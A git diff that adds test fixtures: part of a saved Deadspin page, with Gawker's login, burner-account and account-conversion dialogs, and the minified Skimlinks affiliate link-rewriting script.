+ <div id="burnerCreateCheckMessage" class="burnerCreateMessage validationmessage" style="display: none;">Checking...</div>
+ <div id="burnerCreateKinjaMessage" class="burnerCreateMessage validationmessage" style="display: none;">Screen name is not available!</div>
+ <div id="burnerCreateFailMessage" class="burnerCreateMessage validationmessage" style="display: none;">Screen name is not available!</div>
+ <div id="burnerCreateSuccessMessage" class="burnerCreateMessage validationmessage" style="display: none;">Screen name is available!</div>
+ <div id="burnerCreateInvalidMessage" class="burnerCreateMessage validationmessage" style="display: none;">No spaces or special characters. Please try again!</div>
+ <div id="burnerCreateCreateMessage" class="burnerCreateMessage validationmessage" style="display: none;">Creating screen name...</div>
+ <div id="burnerCreateNameEmptyMessage" class="burnerCreateMessage validationmessage" style="display: none;">The screen name field is empty!</div>
+ </form>
+ <div class="footer">
+ <p>Your screen name will be remembered, but we won't retain any other identifying information. <a target="_blank" href="http://gawker.zendesk.com/forums/20709631-burners">Learn more »</a></p>
+ <p>For more information, consult the <a target="_blank" href="http://advertising.gawker.com/legal/">terms of use</a>.</p>
+ </div>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog recaptcha_dialog user_control cn_recaptcha_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Captcha</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_recaptcha_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <form id="recaptchaForm">
+ <div class="row">
+ <p>Please enter the text below.</p>
+ <div id="recaptchaContainer"></div>
+ </div>
+ <div class="footer">
+ <button class="button user_control cn_recaptcha_submit" id="recaptchaSubmit">Go</button>
+ </div>
+ </form>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog burnercreatesuccess_dialog user_control cn_burnercreatesuccess_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Success</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_burnercreatesuccess_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <p>Your screen name is <strong><span id="burnerCreateSuccessScreenName">{you screen name}</span></strong></p>
+
+ <p class="token">
+ <span class="largeprint" id="burnerCreateSuccessToken">kjwc qpxk lwcm qiec</span>
+ <span class="note"><strong>Save this key.</strong> This is your only opportunity to<br>retrieve the key. You will need this to sign in.</span>
+ </p>
+
+ <p>For more information, please visit the <a href="http://gawker.zendesk.com/forums/20709631-burners" target="_blank">Frequently Asked Questions</a> or email <a href="mailto:help at gawker.com">help at gawker.com</a></p>
+
+ <div class="footer">
+ <a href="http://deadspin.com/#" id="burnerCreateSuccessClose" class="button user_control cn_burnercreatesucces_ok">Okay</a>
+ </div>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog oauthscreenname_dialog user_control cn_oauthscreenname_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Select a screen name</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_oauthscreenname_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <form action="http://deadspin.com/#" id="oauthScreenForm" class="user_control cn_oauthscreenform">
+ <div class="row">
+ <label for="oauthScreenName">Screen name:</label>
+ <input name="screenname" class="textfield" id="oauthScreenName">
+ </div>
+ <div class="row row-submit">
+ <input type="submit" value="Next »" class="button user_control cn_oauthscreensubmit">
+ </div>
+ <div id="oauthScreenNameEmptyMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Please provide a screen name</div>
+ <div id="oauthScreenNameFailMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Screen name is taken.</div>
+ <div id="oauthScreenNameKinjaMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Screen name is taken. Is this your account?<br><a href="http://deadspin.com/#" class="user_control cn_toggleclaim">Login to claim it!</a></div>
+ <div id="oauthScreenNameInvalidMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">No spaces or special characters. Please try again!</div>
+ <div id="oauthScreenNameSuccessMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Screen name is available!</div>
+ <div id="oauthScreenNameCheckMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Checking...</div>
+ <div id="oauthScreenNameSaveMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Saving...</div>
+ <div id="oauthScreenNameSavedMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Account created!</div>
+ <div id="oauthScreenNameNotSavedMessage" class="oauthScreenNameMessage validationmessage" style="display: none;">Something went wrong, please try again!</div>
+ </form>
+ <p></p>
+ <p id="oauthScreenNameReturningUserLabel" style="display: none;"><b>Please select a screen name to finish creating your account.</b> You cannot change your screen name once your account has been created.</p>
+ <p id="oauthScreenNameNewUserLabel">Enter your desired screen name. You cannot change your screen name once your account has been created.</p>
+ <p>For more information, consult the <a target="_blank" href="http://advertising.gawker.com/legal/">terms of use</a>. </p>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog oauthclaim_dialog user_control cn_oauthclaim_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Select a screen name</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_oauthclaim_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <input type="hidden" id="oauthClaimScreenNameData">
+ <form action="http://deadspin.com/#" id="oauthClaimForm">
+ <div class="row">
+ <label for="oauthClaimScreenName">Screen name:</label>
+ <span id="oauthClaimScreenName"></span>
+ </div>
+ <div class="row">
+ <label for="oauthClaimPassword">Password:</label>
+ <input id="oauthClaimPassword" class="textfield" type="password" name="password">
+ </div>
+ <div class="row">
+ <a href="http://deadspin.com/#" class="forgotpassword user_control cn_toggleforgotpassword">Forgot your password?</a>
+ </div>
+ <div id="oauthClaimEmptyMessage" class="oauthClaimMessage validationmessage" style="display: none;">Please provide a password!</div>
+ <div id="oauthClaimSaveMessage" class="oauthClaimMessage validationmessage" style="display: none;">Converting...</div>
+ <div id="oauthClaimNotSavedMessage" class="oauthClaimMessage validationmessage" style="display: none;">Something went wrong, please try again!</div>
+ <div class="footer">
+ <input type="submit" class="button" value="Next »">
+ </div>
+ </form>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup logindialog resetpw_dialog user_control cn_resetpw_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+
+ <div class="caption modfont">Reset password</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_resetpw_cancel" title="Cancel"><i class="icon"></i></a>
+
+ <div class="text" id="resetPassword1">
+ <p>Please enter the email address associated with your account to have it reset.</p>
+
+ <form action="http://deadspin.com/index.php?op=emailpassword" method="post" id="resetKinjaPwForm" class="user_control cn_resetpw_form">
+ <div class="row">
+ <label for="kinjaResetEmail">Email:</label>
+ <input type="text" id="kinjaResetEmail" name="email" maxlength="255" class="resetmail textfield user_control cn_resetpwemail">
+ </div>
+ <div class="row captcha">
+ <p>Are you a person? Please type in the text below:</p>
+ <div id="kinjaResetRecaptcha" style="display: none;">6LfSor8SAAAAAKQnBZMKP3wYxbQWb_sjCvAaFxos</div>
+ </div>
+ <div id="resetKinjaPwdSuccessMessage" class="resetKinjaPwdMessage">
+ <p>A temporary password has been emailed to you. If you do not receive the password reset email, please be sure to check your spam folder. In some cases, it can take up to 10 minutes for your email service to receive the email.</p>
+ <p>If you still haven't received the email, please contact <a href="mailto:help at gawker.com">help at gawker.com</a> for further assistance.</p>
+ </div>
+ <div id="resetKinjaPwdSuccessMessage" class="resetKinjaPwdMessage validationmessage" style="display: none;"></div>
+ <div id="resetKinjaPwdFailMessage" class="resetKinjaPwdMessage validationmessage" style="display: none;"></div>
+ <div id="resetKinjaPwdSendingMessage" class="resetKinjaPwdMessage validationmessage" style="display: none;">Sending...</div>
+ <div id="resetKinjaPwdInvalidMessage" class="resetKinjaPwdMessage validationmessage" style="display: none;">The entered email address is not valid</div>
+ <div id="resetKinjaPwdEmptyMessage" class="resetKinjaPwdMessage validationmessage" style="display: none;">Please enter an email address</div>
+ <div class="footer">
+ <span class="menubar_login_indicator user_control cn_resetpw_indicator" style="display: none;"></span>
+ <input type="submit" value="Reset" class="button resetpw user_control">
+ </div>
+ </form>
+
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog converted_dialog cn_converted_dialog user_control" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Account Converted</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_converted_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <p>Thank you for converting your account.</p>
+ <p>When logging in to any Gawker Media site, including Deadspin, log in using your <span id="convertedProviderName">$provider</span> account. <!-- (doesn't work // deleted by etele) href="#" class="user_control cn_fullsitelist"><img src="/assets/base.v10/img/ui/icon-question.png" class="sitelist" /></a --></p>
+ <p>For more information, visit the <a href="http://gawker.zendesk.com/forums/20554597-converting-your-account" target="_blank">Help Desk</a> or email <a href="mailto:help at gawker.com">help at gawker.com</a>.</p>
+ <div class="footer">
+ <button class="user_control button cn_converted_ok">Ok</button>
+ </div>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog logindialog login_dialog user_control cn_login_dialog" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont">Login to your account</div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_login_cancel" title="Cancel"><i class="icon"></i></a>
+ <div class="text">
+ <form class="user_control cn_login_form" method="post" id="kinjaLoginForm">
+ <div class="row">
+ <label for="kinjaLoginUsername">Username: </label>
+ <input id="kinjaLoginUsername" name="username" type="text" value="" maxlength="255" class="textfield user_control cn_username">
+ </div>
+ <div class="row">
+ <label for="kinjaLoginPassword">Password: </label>
+ <input id="kinjaLoginPassword" name="password" type="password" value="" maxlength="255" class="textfield user_control cn_password">
+ </div>
+ <div class="row">
+ <a href="http://deadspin.com/#" class="forgotpassword reset user_control cn_toggleforgotpassword">Forgot your password</a>
+ </div>
+ <div id="kinjaLoginEmptyUsernameMessage" class="kinjaLoginMessage validationmessage" style="display: none;">Please provide a username!</div>
+ <div id="kinjaLoginEmptyPasswordMessage" class="kinjaLoginMessage validationmessage" style="display: none;">Please provide a password!</div>
+ <div id="kinjaLoginSaveMessage" class="kinjaLoginMessage validationmessage" style="display: none;">Signing in...</div>
+ <div id="kinjaLoginFailMessage" class="kinjaLoginMessage validationmessage" style="display: none;">Sign in failed!</div>
+ <div class="footer">
+ <a href="http://deadspin.com/#" class="control-back user_control cn_touserinit">« Back</a>
+ <input type="submit" value="Login »" class="button user_control cn_login_button">
+ </div>
+ </form>
+ </div>
+ </div>
+</div>
+
+<div class="modal modalpopup dialog cn_oauthconvert_dialog user_control" style="display: none; width: 500px;">
+ <div class="inner">
+ <div class="caption modfont">CONVERT YOUR Deadspin ACCOUNT</div>
+ <div class="text">
+ <p>Deadspin has introduced a new discussion platform that requires you to log in with a Facebook, Google, or Twitter account. You must convert your account to one of these services if you wish to continue using it.</p>
+ <p>Converting your account on Deadspin will do so on all Gawker Media Sites. <a href="http://deadspin.com/#" class="presence_control cn_fullsitelist"><img src="./deadspin_files/icon-question.png"></a></p>
+ </div>
+ <div class="providers modfont">
+ <a href="http://deadspin.com/#" class="user_control cn_login_oauth type_facebook migrate">
+ <span class="provider">Login with Facebook</span>
+ </a>
+ <a href="http://deadspin.com/#" class="user_control cn_login_oauth type_twitter migrate">
+ <span class="provider">Login with Twitter</span>
+ </a>
+ <a href="http://deadspin.com/#" class="user_control cn_login_oauth type_google migrate">
+ <span class="provider">Login with Google</span>
+ </a>
+ </div>
+ <div class="text-bottom">
+ <p><b>Want to Remain Anonymous?</b> Please create a <a href="http://deadspin.com/#" class="user_control cn_toggleburnercreate">burner account</a></p>
+ <p><strong>More Questions?</strong> For more information, visit our <a target="_blank" href="http://gawker.zendesk.com/forums/20554597-converting-your-account">Frequently Asked Questions</a> or email <a href="mailto:help at gawker.com">help at gawker.com</a>.
+ </p></div>
+ </div>
+</div>
+
+<div class="user_control modalpopup modal user_dialog cn_user_dialog" style="display: none;">
+ <div class="inner">
+ <div class="caption modfont">
+ <a href="http://deadspin.com/#" class="user_control cn_profile_link"></a>
+ </div>
+ <a href="http://deadspin.com/#" class="user_control cancel cn_user_cancel" title="Cancel"><i class="icon"></i></a>
+
+ <div id="userMenu" class="user_control cn_user_menu box">
+ <div id="userNotificationContainer" class="notifications modfont"></div>
+ <div id="clearNotifications" style="display: none">Clear notifications ×</div>
+ </div>
+
+ <div class="footer modfont">
+ <ul id="profile_actions">
+ <li><a href="http://deadspin.com/me" class="user_control cn_goto_profile">Profile</a></li>
+ <li><a class="user_control cn_logout_link" href="http://deadspin.com/#">Logout</a></li>
+ </ul>
+ </div>
+
+ </div>
+</div>
+
+<!--div class="modal modalpopup dialog user_control" style="display: none; width: 400px;">
+ <div class="inner">
+ <div class="caption modfont"></div>
+ <div class="text">
+ </div>
+ </div>
+</div-->
+
+ <div class="gawkerwidget hidden_commenter_area" style="display: none;"></div>
+ <div class="gawkerwidget threads_area" style="display: none;"></div>
+ <div class="gawkerwidget threadadmin_area" style="display: none;"></div>
+ <div class="gawkerwidget commenteradmin_area" style="display: none;"></div>
+ <div class="gawkerwidget commenter_area" style="display: none;"></div>
+ <div class="gawkerwidget editorcontrols_area" style="display: none;"></div>
+ <div class="gawkerwidget republish_area" style="display: none;"></div>
+ <div class="gawkerwidget roundup_area" style="display: none;"></div>
+ <img id="gawker_tracker_image" style="display: none;" height="0" width="0" class="track" alt="track">
+
+
+</div>
+
+
+<script type="text/javascript">if(!NREUMQ.f){NREUMQ.f=function(){NREUMQ.push(["load",new Date().getTime()]);var e=document.createElement("script");e.type="text/javascript";e.src=(("http:"===document.location.protocol)?"http:":"https:")+"//"+"d1ros97qkrwjf5.cloudfront.net/42/eum/rum.js";document.body.appendChild(e);if(NREUMQ.a)NREUMQ.a();};NREUMQ.a=window.onload;window.onload=NREUMQ.f;};NREUMQ.push(["nrfj","beacon-1.newrelic.com","a62ec163c8","148134","ZwdVMkZSDxFVUkAKWF5NdBNHRw4PG2F8Mw1D [...]
+ <script type="text/javascript" src="./deadspin_files/33330X911648.skimlinks.js">skimlinks();</script>
+
+
+
+
+<script type="text/javascript" src="./deadspin_files/rum.js"></script><script type="text/javascript" src="./deadspin_files/a62ec163c8"></script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/33330X911648.skimlinks.js b/src/test/resources/s/deadspin_files/33330X911648.skimlinks.js
new file mode 100644
index 0000000..d88c43b
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/33330X911648.skimlinks.js
@@ -0,0 +1,41 @@
+// v:9.3.2
+var skimlinks_pub_id = '33330X911648';
+var skimlinks_site = 'deadspin.com';
+var skimwords_hover_name = 'neutral';
+var skimwords_horizontal_distance = 80;
+var skimwords_vertical_distance = 80;
+var skimlinks_exclude = Array('amazon.com');
+var noskimwords = true;
+var noskoupon = true;
+var noskimproducts = true;
+var skimwords_instant = true;
+(function(){var sa,ta,ua,ca,j,s,va,wa,xa,da,J,v,i,Q,ea,ya,za,l,D,t,K,z,R,fa,m,E,F,w,Aa,p,ga,ha,Ba,ia,S,L,q,Ca,Da,ja,T,Ea,Fa,Ga,Ha,Ia,Ja,Ka,x,La,ka,Ma,Na,la,u,Oa,n,Pa,U,V,W,ma,M,Qa,N,X,A,Y,Z,G,$,r,O,Ra,Sa,Ta,na,aa,y,o,B,oa,ba,P,C,pa,H,I,qa,d,ra={}.hasOwnProperty;z=R=null;m={pag:"",phr:{},pub:"",slc:0,swc:0,jsl:0,jsf:"",guid:"",uc:"",t:1};fa=/http:/g;l=function(){var a;a=navigator.userAgent.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msi [...]
+0>a.indexOf("compatible")&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:parseFloat(a[2])||0}}();ha=[];Aa=(new Date).getTime();w=[];ga=[];p=t=null;K=!1;E=[];D=[];F=[];$=G=Y=M=ma=A=r=null;V=[];ba=P=oa=C=N=Z=U=W=X=null;y="";B=o=0;pa=!1;d=this;H=d.location;I="";sa=["noskim","norewrite"];ta="*doubleclick.net,*mjxads.internet.com,*pgpartner.co.uk,*pgpartner.com,*pricegrabber.co.uk,*pricegrabber.com,*overture.com,*youtube.com".split(",");Qa=function(){return!0};Ba [...]
+b=document.createElement("a");b.href=a;return O(b.hostname)};ua=function(){var a,b,c,e,g,f,h,k,j,i,l,n,p,q,s,t,u,v,w,x,y;R=null!=(a=document.getElementsByTagName("html"))?a[0]:void 0;E=null!=(b=d.skimlinks_included_classes)?b:[];D=null!=(p=d.skimlinks_excluded_classes)?p:[];F=null!=(s=d.skimlinks_included_ids)?s:[];z=d.force_location?Ba(d.force_location):H.hostname;r=null!=(t=d.skimlinks_tracking)?t:!1;A=d.skimlinks_site||d.skimlinks_sitename||!1;ma=null!=(u=d.skimlinks_domain)?u:"go.red [...]
+M=null!=(v=d.skimlinks_google)?v:!1;Y=null!=M?M:"skimout";G=null!=(w=d.skimlinks_target)?w:!1;$=null!=(x=d.sl_test)?x:!1;V=null!=(y=d.skimlinks_exclude)?y:[];X=null!=(c=d.skimlinks_noright)?c:!1;W=null!=(e=d.skimlinks_exrel)?e:!1;U=null!=(g=d.skimlinks_byrel)?g:!1;Z=null!=(f=d.skimlinks_blocked_tag)?f:!1;N=0;C=null!=(h=d.skimlinks_pub_id)?h:"";if(d.skimlink_legacy_support)d.skimlinks=function(){return!0},d.mugicPopWin=function(){return!0},d.mugicRightClick=function(){return!0};o=null!=(k [...]
+k:0;B=null!=(j=window.skimlinks_nocookie)?j:!1;oa=null!=(i=d.noimpressions)?i:!1;ba=null!=(l=d.noskimlinks||d.noskim)?l:!1;P=null!=(n=d.noskimwords||d.noskim)?n:!1;pa=null!=(q=d.skim_toolbar)?q:!1;if(d.document&&d.document.referrer)I=d.document.referrer;Ia(z)&&(P=ba=!0);r&&!/^[a-z0-9_\\|]+$/i.test(r)&&(r=!1);m.pag=d.force_location||H.href;m.pub=C;m.uc=r;"undefined"!==typeof assign_skimwords_globals&&null!==assign_skimwords_globals&&assign_skimwords_globals();D.push("noskimlinks");return! [...]
+c,e,g;if(d.noskim_domains){g=d.noskim_domains;for(c=0,e=g.length;c<e;c++)if(b=g[c],-1!==a.toLowerCase().indexOf(b.toLowerCase()))return!0}return!1};O=function(){var a;a=/^www\./i;return function(b){return b.replace(a,"")}}();s=function(){return document.addEventListener?function(a,b,c){if(a&&(a.nodeName||a===d))return a.addEventListener(b,c,!1)}:function(a,b,c){if(a&&(a.nodeName||a===d))return a.attachEvent("on"+b,function(){return 7>l.version&&!window.event?(setTimeout(function(){return [...]
+window.event)},100),!0):c.call(a,window.event)})}}();(function(){return document.createElement("div").getElementsByClassName?function(a,b){return q(a,b)?a:a.getElementsByClassName(b)}:function(a,b){var c;c=da(b);return ea(a,c)}})();i=function(){var a,b;b=[function(){var b,e,g,d;g=[["%20","+"],["!","%21"],["'","%27"],["\\(","%28"],["\\)","%29"],["\\*","%2A"],["\\~","%7E"]];d=[];for(b=0,e=g.length;b<e;b++)a=g[b],d.push([RegExp(a[0],"g"),a[1]]);return d}()];return function(c){var e,d,c=enco [...]
+for(e=0,d=b.length;e<d;e++)a=b[e],c=c.replace(a[0],a[1]);return c}}();Ga=function(){var a;a=/^\/\/|https?:\/\//i;return function(b,c){return a.test(b)&&(!c||!z||-1===c.indexOf(z))&&(!z||-1===z.indexOf("."+c))}}();j=function(a,b,c){var e;3<=arguments.length&&("undefined"!==typeof a.setAttribute?a.setAttribute(b,c):a[b]=c);e=a[b];null==e&&(e=a.getAttribute(b));return e};v=function(a,b,c){arguments[1]="data-"+b;return j.apply(this,arguments)};Sa=function(a,b){var c;c=a.innerText||a.textCont [...]
+if(2<=arguments.length)a.innerText?a.innerText=b:a.textContent=b,c=b;return c};aa=function(){var a,b;if(String.prototype.trim)return function(a){return null===a?"":String.prototype.trim.call(a)};a=/^\s+/;b=/\s+$/;/\S/.test("\u00a0")&&(a=/^[\s\xA0]+/,b=/[\s\xA0]+$/);return function(c){return null===c?"":c.toString().replace(a,"").replace(b,"")}}();La=function(a){var b,c,e,d,f;if("object"===typeof a||a instanceof Array){d="";e=0;c=a instanceof Array;for(f in a)ra.call(a,f)&&(b=a[f],0<e&&(d [...]
+d+=x(b):(b=x(b),d+='"'+f+'":'+b),e++);return c?"["+d+"]":"{"+d+"}"}return"string"===typeof a?(b=a.replace(/"/g,'\\"',a),'"'+b+'"'):isNaN(a)?"null":a.toString()};x=function(){var a;return"undefined"!==typeof JSON&&null!==JSON&&JSON.stringify&&'["la"]'===JSON.stringify(["la"])?(a=JSON.stringify,function(b){return a(b)}):La}();Q=function(){var a,b;a=/[-[\]{}()*+?.,\\^$|#\s]/g;b=/\s+/g;return function(c){return c.replace(a,"\\$&").replace(b,"s+")}}();da=function(a){a=Q(a);return RegExp("\\b" [...]
+"i")};q=function(a,b){return a.className?da(b).test(a.className):!1};ea=function(a,b){var c,e,d,f,h;e=[];a.className&&b.test(a.className)&&e.push(a);h=a.childNodes;for(d=0,f=h.length;d<f;d++)c=h[d],e=e.concat(ea(c,b));return e};wa=function(a){return-1!==encodeURIComponent(a).indexOf("%C3%82%C2%A3")};za=function(a){a=a.innerHTML.slice(0,4);if("http"===a||"www."===a)a.innerHTML="<span style='display:none!important;'> </span>";return!0};Ja=function(a){for(var b,c,e,d,a=a.parentNode;a&& [...]
+a.id;for(e=0,d=E.length;e<d;e++)if(b=E[e],q(a,b))return!1;for(e=0,d=F.length;e<d;e++)if(b=F[e],c===b)return!1;for(c=0,e=D.length;c<e;c++)if(b=D[c],q(a,b))return!0;a=a.parentNode}return E.length||F.length?!0:!1};Ea=function(a,b,c){null==c&&(c=!1);for(b=RegExp("\\b(?:(?:"+Q(b)+")|(?:noskim))\\b","i");null!=a&&a!==R;){if(a.className&&b.test(a.className))return!0;a=c?null:a.parentNode}return!1};xa=function(a,b){var c,e,g,f;q(a,"skimwords-link")||q(a,"skimwords-unlinked")?(f=q(a,"skimwords-li [...]
+"data-skimwords-word"):"url",c=j(a,"data-skim-creative"),e=j(a,"data-skim-product"),g=d.skimlinks_domain||"go.redirectingat.com","undefined"!==typeof settings&&null!==settings&&(g=settings.sw_domain||g),b="//"+g+"/?id="+C+""+(r?"&xcust="+r:"")+"&xs=2&url="+i(b)+"&xguid="+y+"&xword="+(f?f:"")+"&xcreo="+(c?c:"")+"&xpid="+(e?e:"")+"&sref="+i(H)+"&pref="+i(I)+""+(o?"&dnt="+o:"")+""+(B?"&fdnt=1":"")):Ea(a,"noskimlinks")||(c=j(a,"data-skim-creative"),b="//"+ma+"/?id="+C+""+(A?"&site="+A:"")+"" [...]
+$:"")+""+(r?"&xcust="+r:"")+"&xs=1&url="+i(b)+"&xguid="+y+"&xcreo="+(a&&null!=c?c:0)+"&sref="+i(H)+"&pref="+i(I)+""+(o?"&dnt="+o:"")+""+(B?"&fdnt=1":""));return b};ia=function(a){var b;if((b=a.target||a.srcElement)&&!b.href&&a.currentTarget)b=a.currentTarget;for(;b&&"A"!==b.nodeName;)b=b.parentNode;return b};u=function(a){var b;b=ia(a);Ma(b);if(d.vglnk&&q(b,"skimwords-link"))a&&a.stopPropagation?a.stopPropagation():(a=d.event,a.cancelBubble=!0);return!0};Ma=function(a){var b,c,e,d,f,h;f= [...]
+l.browser&&7>l.version?1E4:100;b=!1;c=M;if(a&&a.nodeName&&"IMG"===a.nodeName)a=a.parentNode;if(a){h=a.href;if("msie"===l.browser&&a.childNodes.length&&3===a.childNodes[0].nodeType)d=a.innerHTML;(e=v(a,"skimlinks-href"))?b=!0:(e=xa(a,h),v(a,"skimlinks-href",e));c&&Ta(h);v(a,"skimlinks-orig-link")||(v(a,"skimlinks-orig-link",h),b=!1);a.href=e;setTimeout(function(){a.href=v(a,"skimlinks-orig-link");if(d)a.innerHTML=d;return!0},f)}return b};Ha=function(a){var b,c,e;if(e=ga)for(b in e)if(ra.c [...]
+(c=e[b],c===a))return!0;return!1};Ka=function(a){var b,c;if(!Z)return!1;b=null!=a?a.previousSibling:void 0;if(!b)return!1;a=("["+Z+"]").toLowerCase();c=Sa(b);c=c.toLowerCase();c=aa(c);b=c.lastIndexOf(a);return-1!==b&&b+a.length===c.length};T=function(a){return!a||U&&a===U||!Ca(a)};Ca=function(a){var b,c,e,d;t=null;if(!a)return!1;a=a.toLowerCase();if(t)return t[a];t={};b=W?[W]:[];b=b.concat(sa);for(c=0,e=b.length;c<e;c++)d=b[c],t[d.toLowerCase()]=!0;return t[a]};va=function(){var a,b,c,e; [...]
+e=V.concat(ta);for(b=0,c=e.length;b<c;b++)a=e[b],p[a]=a.length;return p};Fa=function(a){var b,c,e;null===p&&va();if(!a)return!1;for(b in p)if(ra.call(p,b))if(c=p[b],0===b.indexOf("*")){if(b=b.substr(1),c-=1,e=a.lastIndexOf(b),-1!==e&&e===a.length-c)return!0}else if(a===b)return!0;return!1};ja=function(a,b){return Ga(a,b)&&!Fa(b)};Ta=function(a){var b,c,e;b=d.pageTracker;e=d.urchinTracker;c="/"+Y+"/"+a;if(null!=b&&b._trackPageview)return b._trackPageview(c),!0;if(e)return e(c),!0;if(d._ga [...]
+b.push(["_trackEvent",Y,"click",a]);return!1};J=function(a){var b,c,e;c=i('},"pub"');b="//t.skimresources.com/api/track.php";e=[];o&&e.push("dnt="+o);B&&e.push("fdnt=1");e.push("data=");b+="?"+e.join("&");b+=i(x(m).replace(fa,""));null!=a&&a.length&&(a.join(i(",")),b=b.replace(c,""+a+c));return[b,b.length]};na=function(){var a,b,c,e,d,f,h;if(oa)return!1;d=(new Date).getTime()-Aa;e=[];b=8E3;"msie"===l.browser&&(b=2E3);m.slc=N;m.swc="undefined"!==typeof sw_handlers&&null!==sw_handlers?sw_h [...]
+m.jsl=d;m.guid=y;m.pref=I;m.phr={};a=J();a=a[1];for(c=d=0,h=ha.length;d<h;c=++d)if(f=ha[c],f=x(f).replace(fa,""),c=i('"'+c+'":'+f),!("msie"===l.browser&&c.length>b)){f=a+c.length+3*e.length;if(f>b)a=J(e),e=a[0],L(e,!1,{async:!0}),e=[],m.t=0,a=J(),a=a[1];e.push(c)}b=J(e)[0];"msie"===l.browser&&7>l.version&&(b=b.substring(0,4095));L(b,!1,{async:!0});la(1);return!0};la=function(a){if(10>a)return w=Na(),setTimeout(function(){return la(a+1)},2E3*a)};Na=function(){var a,b,c,e,d,f,h;b={};e=[];c [...]
+0,f=w.length;d<f;d++)a=w[d],a.parentNode?c.push(a):b[a.href]=1;h=S();for(d=0,f=h.length;d<f;d++)a=h[d],b[a.href]&&e.push(a);ca(e);return e.concat(c)};ka=function(a){var b,c;c=new Date;b=c+300;a=ia(a);a=i('{"pubcode":"'+C+'","referrer":"'+H+'","pref":"'+I+'","site":"'+A+'","url":"'+a.href+'","custom":"'+r+'","product":"1"}');for(L("//r.skimresources.com/api/?call=track"+(o?"&dnt="+o:"")+(B?"&fdnt=1":"")+"&data="+a);c<b;)c=new Date;return!0};L=function(a,b,c){var e;var d,g,f,h,k,j,i=this;n [...]
+{});d=c.charset||null;j=c.target||null;e=null!=(g=c.async)?g:!0,c=e;g=null!=j&&j.document?j.document:document;f=g.getElementsByTagName("head")[0];k=g.createElement("script");h=!1;k.type="text/javascript";if(d)k.charset=d;k.onload=k.onreadystatechange=function(){var a;a=i.readyState;if(!h&&(!a||"complete"===a||"loaded"===a))if(k.onload=k.onreadystatechange=null,h=!0,b)return b.call(j)};k.async=!1!==c;k.src=a;f.appendChild(k);return k};S=function(a){var b,c,d,g,f;b=null;a&&(b=RegExp("\\b"+ [...]
+"i"));f=[];g=document.getElementsByTagName("a");for(c=0,d=g.length;c<d;c++){a=g[c];try{a.href&&(!b||a.className&&b.test(a.className))&&f.push(a)}catch(h){console.log("Malformed IE url")}}return f};ca=function(a){var b,c,d,g,f,h,k,i,m;c=E.length||F.length||D.length;g=[];for(i=0,m=a.length;i<m;i++)if(b=a[i],d=O(b.hostname),b.sl_hidden_domain&&(d=O(b.sl_hidden_domain)),k=aa(b.href),h=j(b,"rel"),f=j(b,"onclick"),(!c||!Ja(b))&&!Ka(b))if(Ha(d,b)){if(T(h)){G&&j(b,"target",G);if("msie"===l.brows [...]
+za(b)}null!=f&&-1!==f.toString().indexOf("return false")?s(b,"mousedown",u):s(b,"click",u);Ra(b,!1);Da(b);g.push(b);X||s(b,"contextmenu",u);Qa(b)}}else ja(k,d)&&T(h)&&(G&&j(b,"target",G),s(b,"click",ka),X||s(b,"contextmenu",ka));return g};Da=function(a,b){var c,e,g,f;if(d.link_icon||0<a.getAttribute("data-skim-product")&&d.skimwords_product_icon){if(0<a.getElementsByTagName("img").length)return!0;if("msie"===l.browser&&8>l.version)a.style.display="inline-block";g=c="";null!=b&&(c=d.skimw [...]
+"",g=d.skimwords_icon_link_class||"");f=j(a,"title").replace("'","'");e=d.link_icon||d.skimwords_product_icon;c="<a href='"+j(a,"href")+"' title='"+f+"' style='border:0px;padding:0;margin:0' class='skimlinks-icon-link "+g+"' skimlinked='skimlinked' target='_blank'><img src='"+e+"' class='"+c+"' skimlinked='skimlinked' style='margin: 0px 0px -3px 2px !important; float:none !important; border:0px; float:none !important; display:inline !important;' /></a>";e=document.createElement("div [...]
